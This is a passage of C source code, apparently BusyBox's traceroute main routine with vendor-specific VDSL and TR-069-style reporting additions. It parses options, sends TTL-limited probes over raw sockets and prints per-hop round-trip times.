#if defined(AEI_VDSL_CUSTOMER_QWEST_Q2000)
	int ttl_set_flag = 0;
#endif
#if defined(AEI_VDSL_CUSTOMER_NCS)
	int failcount = 0;
#endif
#if defined(DMP_TRACEROUTE_1)
	unsigned int repTime;
	char strRepTime[16];
	TraceRouteDataMsgBody traceRouteInfo;
	memset(&traceRouteInfo, 0 , sizeof(TraceRouteDataMsgBody));
	TraceRouteDataMsgBody *pTraceRouteInfo = &traceRouteInfo;
	cmsMsg_init(EID_TRACEROUTE, &msgHandle);
#endif
	on = 1;
	seq = tos = 0;
	to = (struct sockaddr_in *)&whereto;
	while ((ch = getopt(argc, argv, "dm:np:q:rs:t:w:v")) != EOF)
		switch(ch) {
		case 'd':
#ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG
			options |= SO_DEBUG;
#endif
			break;
		case 'm':
			max_ttl = atoi(optarg);
#if defined(AEI_VDSL_CUSTOMER_QWEST_Q2000)
			ttl_set_flag = 1;
#endif
			if (max_ttl <= 1)
				bb_error_msg_and_die("max ttl must be >1.");
			break;
		case 'n':
			nflag++;
			break;
		case 'p':
			port = atoi(optarg);
			if (port < 1)
				bb_error_msg_and_die("port must be >0.");
			break;
		case 'q':
			nprobes = atoi(optarg);
			if (nprobes < 1)
				bb_error_msg_and_die("nprobes must be >0.");
			break;
		case 'r':
			options |= SO_DONTROUTE;
			break;
		case 's':
			/*
			 * set the ip source address of the outbound
			 * probe (e.g., on a multi-homed host).
			 */
			source = optarg;
			break;
		case 't':
			tos = atoi(optarg);
			if (tos < 0 || tos > 255)
				bb_error_msg_and_die("tos must be 0 to 255.");
			break;
		case 'v':
#ifdef CONFIG_FEATURE_TRACEROUTE_VERBOSE
			verbose++;
#endif
			break;
		case 'w':
			waittime = atoi(optarg);
			if (waittime <= 1)
				bb_error_msg_and_die("wait must be >1 sec.");
			break;
		default:
			bb_show_usage();
		}
	argc -= optind;
	argv += optind;

	if (argc < 1)
		bb_show_usage();

	setlinebuf (stdout);

	memset(&whereto, 0, sizeof(struct sockaddr));
#if defined(DMP_TRACEROUTE_1)
	hp = gethostbyname(*argv);
	if (*++argv)
	{
		requesterId = atoi(*argv);		
	}
	if (hp == NULL)
	{
		AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Error_CannotResolveHostName);
		bb_herror_msg_and_die("%s", *--argv);
	}
#else
	hp = xgethostbyname(*argv);
#endif
			to->sin_family = hp->h_addrtype;
	memcpy(&to->sin_addr, hp->h_addr, hp->h_length);
			hostname = (char *)hp->h_name;
	if (*++argv)
		datalen = atoi(*argv);
#if defined (DMP_TRACEROUTE_1)
	if (datalen == 0)
	{
		datalen = 40; /*Default data length*/
	}
#endif		
	if (datalen < 0 || datalen >= MAXPACKET - sizeof(struct opacket))
		bb_error_msg_and_die("packet size must be 0 <= s < %d.",
		    MAXPACKET - sizeof(struct opacket));
	datalen += sizeof(struct opacket);
	outpacket = (struct opacket *)xmalloc((unsigned)datalen);
	memset(outpacket, 0, datalen);
	outpacket->ip.ip_dst = to->sin_addr;
	outpacket->ip.ip_tos = tos;
#if defined(DMP_TRACEROUTE_1)
	outpacket->ip.ip_tos = (outpacket->ip.ip_tos)<<2;
#endif
	outpacket->ip.ip_v = IPVERSION;
	outpacket->ip.ip_id = 0;

	ident = (getpid() & 0xffff) | 0x8000;

	if ((sndsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
		bb_perror_msg_and_die(bb_msg_can_not_create_raw_socket);

	s = create_icmp_socket();

#ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG
	if (options & SO_DEBUG)
		(void) setsockopt(s, SOL_SOCKET, SO_DEBUG,
				  (char *)&on, sizeof(on));
#endif
	if (options & SO_DONTROUTE)
		(void) setsockopt(s, SOL_SOCKET, SO_DONTROUTE,
				  (char *)&on, sizeof(on));
#ifdef SO_SNDBUF
	if (setsockopt(sndsock, SOL_SOCKET, SO_SNDBUF, (char *)&datalen,
		       sizeof(datalen)) < 0)
		bb_perror_msg_and_die("SO_SNDBUF");
#endif
#ifdef IP_HDRINCL
	if (setsockopt(sndsock, IPPROTO_IP, IP_HDRINCL, (char *)&on,
		       sizeof(on)) < 0)
		bb_perror_msg_and_die("IP_HDRINCL");
#endif
#ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG
	if (options & SO_DEBUG)
		(void) setsockopt(sndsock, SOL_SOCKET, SO_DEBUG,
				  (char *)&on, sizeof(on));
#endif
	if (options & SO_DONTROUTE)
		(void) setsockopt(sndsock, SOL_SOCKET, SO_DONTROUTE,
				  (char *)&on, sizeof(on));

	if (source) {
		memset(&from, 0, sizeof(struct sockaddr));
		from.sin_family = AF_INET;
		from.sin_addr.s_addr = inet_addr(source);
		if (from.sin_addr.s_addr == -1)
			bb_error_msg_and_die("unknown host %s", source);
		outpacket->ip.ip_src = from.sin_addr;
#ifndef IP_HDRINCL
		if (bind(sndsock, (struct sockaddr *)&from, sizeof(from)) < 0)
			bb_perror_msg_and_die("bind");
#endif
	}

	fprintf(stderr, "traceroute to %s (%s)", hostname,
		inet_ntoa(to->sin_addr));
	if (source)
		fprintf(stderr, " from %s", source);
	fprintf(stderr, ", %d hops max, %d byte packets\n", max_ttl, datalen);

	for (ttl = 1; ttl <= max_ttl; ++ttl) {
		u_long lastaddr = 0;
		int got_there = 0;
		int unreachable = 0;

#if defined(DMP_TRACEROUTE_1)
		pTraceRouteInfo->routeHopsNumberOfEntries++;	
#endif
		printf("%2d ", ttl);
		for (probe = 0; probe < nprobes; ++probe) {
			int cc, reset_timer;
			struct timeval t1, t2;
			struct timezone tz;
			struct ip *ip;

			(void) gettimeofday(&t1, &tz);
			send_probe(++seq, ttl);
			reset_timer = 1;
			while ((cc = wait_for_reply(s, &from, reset_timer)) != 0) {
				(void) gettimeofday(&t2, &tz);
				if ((i = packet_ok(packet, cc, &from, seq))) {
					reset_timer = 1;
					if (from.sin_addr.s_addr != lastaddr) {
						print(packet, cc, &from);
						lastaddr = from.sin_addr.s_addr;
					}
					printf("  %g ms", deltaT(&t1, &t2));
#if defined(DMP_TRACEROUTE_1)
					struct icmp *hopIcp;
					int hopHlen;
					struct ip *hopIp;
					hopIp = (struct ip *) packet;
					hopHlen = hopIp->ip_hl << 2;
					hopIcp = (struct icmp *)(packet + hopHlen);
					repTime = ((int)(t2.tv_sec - t1.tv_sec) * 1000 + (int)(t2.tv_usec - t1.tv_usec) / 1000);
					sprintf(strRepTime, "%d,", repTime);
					pTraceRouteInfo->responseTime+=repTime; 
					pTraceRouteInfo->routeHops[ttl-1].hopErrorCode = hopIcp->icmp_code;
					sprintf(pTraceRouteInfo->routeHops[ttl-1].hopHost, "%s", inet_ntoa(from.sin_addr));
					sprintf(pTraceRouteInfo->routeHops[ttl-1].hopHostAddress, "%s", inet_ntoa(from.sin_addr));	
					strcat(pTraceRouteInfo->routeHops[ttl-1].hopRTTimes, strRepTime);		
#endif
					switch(i - 1) {
					case ICMP_UNREACH_PORT:
						ip = (struct ip *)packet;
						if (ip->ip_ttl <= 1)
							printf(" !");
						++got_there;
						break;
					case ICMP_UNREACH_NET:
						++unreachable;
						printf(" !N");
						break;
					case ICMP_UNREACH_HOST:
						++unreachable;
						printf(" !H");
						break;
					case ICMP_UNREACH_PROTOCOL:
						++got_there;
						printf(" !P");
						break;
					case ICMP_UNREACH_NEEDFRAG:
						++unreachable;
						printf(" !F");
						break;
					case ICMP_UNREACH_SRCFAIL:
						++unreachable;
						printf(" !S");
						break;
					}
					break;
				} else
					reset_timer = 0;
			}
			if (cc == 0)
			{
#if defined(AEI_VDSL_CUSTOMER_NCS)
				failcount++;
#endif
				printf(" *");
			}
#if defined(AEI_VDSL_CUSTOMER_NCS)
            		else
				failcount=0;
#endif
			(void) fflush(stdout);
		}
		putchar('\n');
		if (got_there || (unreachable && unreachable >= nprobes-1))
		{
#if defined(DMP_TRACEROUTE_1)		
			if (got_there)
			{
				AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Complete);
			}
			else if (unreachable && unreachable >= nprobes-1)
			{
				AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Error_MaxHopCountExceeded);
			}
#endif
			return 0;
		}
#if defined(AEI_VDSL_CUSTOMER_NCS)
#if defined(AEI_VDSL_CUSTOMER_QWEST_Q2000)
		if (failcount >= nprobes*2&&ttl_set_flag==0)
#else
		if (failcount >= nprobes*2)
#endif
		{
#if defined(DMP_TRACEROUTE_1)
			AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Error_MaxHopCountExceeded);
#endif
			return 0;
		}	
#endif
	}
#if defined(DMP_TRACEROUTE_1)
	AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Error_MaxHopCountExceeded);
#endif

	return 0;
}